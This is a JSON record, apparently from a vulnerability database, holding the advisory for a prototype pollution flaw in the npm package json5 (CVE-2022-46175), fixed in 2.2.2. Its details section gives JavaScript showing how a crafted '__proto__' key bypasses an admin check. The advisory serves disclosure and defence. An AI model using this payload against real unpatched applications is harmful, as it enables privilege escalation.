{"ecosystem":"npm","package":"json5","version":null,"bugs":[{"id":317,"ecosystem":"npm","package_name":"json5","affected_version":"2.0.0","fixed_version":"2.2.2","bug_id":"osv:GHSA-9c47-m6qq-7p4h","title":"Prototype Pollution in JSON5 via Parse Method","description":"The `parse` method of the JSON5 library before and including version `2.2.1` does not restrict parsing of keys named `__proto__`, allowing specially crafted strings to pollute the prototype of the resulting object.\n\nThis vulnerability pollutes the prototype of the object returned by `JSON5.parse` and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations.\n\n## Impact\nThis vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from `JSON5.parse`. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution.\n\n## Mitigation\nThis vulnerability is patched in json5 v2.2.2 and later. A patch has also been backported for json5 v1 in versions v1.0.2 and later.\n\n## Details\n \nSuppose a developer wants to allow users and admins to perform some risky operation, but they want to restrict what non-admins can do. To accomplish this, they accept a JSON blob from the user, parse it using `JSON5.parse`, confirm that the provided data does not set some sensitive keys, and then performs the risky operation using the validated data:\n \n```js\nconst JSON5 = require('json5');\n\nconst doSomethingDangerous = (props) => {\n  if (props.isAdmin) {\n    console.log('Doing dangerous thing as admin.');\n  } else {\n    console.log('Doing dangerous thing as user.');\n  }\n};\n\nconst secCheckKeysSet = (obj, searchKeys) => {\n  let searchKeyFound = false;\n  Object.keys(obj).forEach((key) => {\n    if (searchKeys.indexOf(key) > -1) {\n      searchKeyFound = true;\n    }\n  });\n  return searchKeyFound;\n};\n\nconst props = JSON5.parse('{\"foo\": \"bar\"}');\nif (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {\n  doSomethingDangerous(props); // \"Doing dangerous thing as user.\"\n} else {\n  throw new Error('Forbidden...');\n}\n```\n \nIf the user attempts to set the `isAdmin` key, their request will be rejected:\n \n```js\nconst props = JSON5.parse('{\"foo\": \"bar\", \"isAdmin\": true}');\nif (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {\n  doSomethingDangerous(props);\n} else {\n  throw new Error('Forbidden...'); // Error: Forbidden...\n}\n```\n \nHowever, users can instead set the `__proto__` key to `{\"isAdmin\": true}`. `JSON5` will parse this key and will set the `isAdmin` key on the prototype of the returned object, allowing the user to bypass the security check and run their request as an admin:\n \n```js\nconst props = JSON5.parse('{\"foo\": \"bar\", \"__proto__\": {\"isAdmin\": true}}');\nif (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {\n  doSomethingDangerous(props); // \"Doing dangerous thing as admin.\"\n} else {\n  throw new Error('Forbidden...');\n}\n ```","severity":"high","status":"fixed","source":"osv","source_url":"https://github.com/json5/json5/security/advisories/GHSA-9c47-m6qq-7p4h","labels":["CVE-2022-46175"],"created_at":"2026-04-19 04:31:11.992034+00:00","updated_at":"2026-04-19 04:31:11.992034+00:00"}],"total":1,"_cache":"hit"}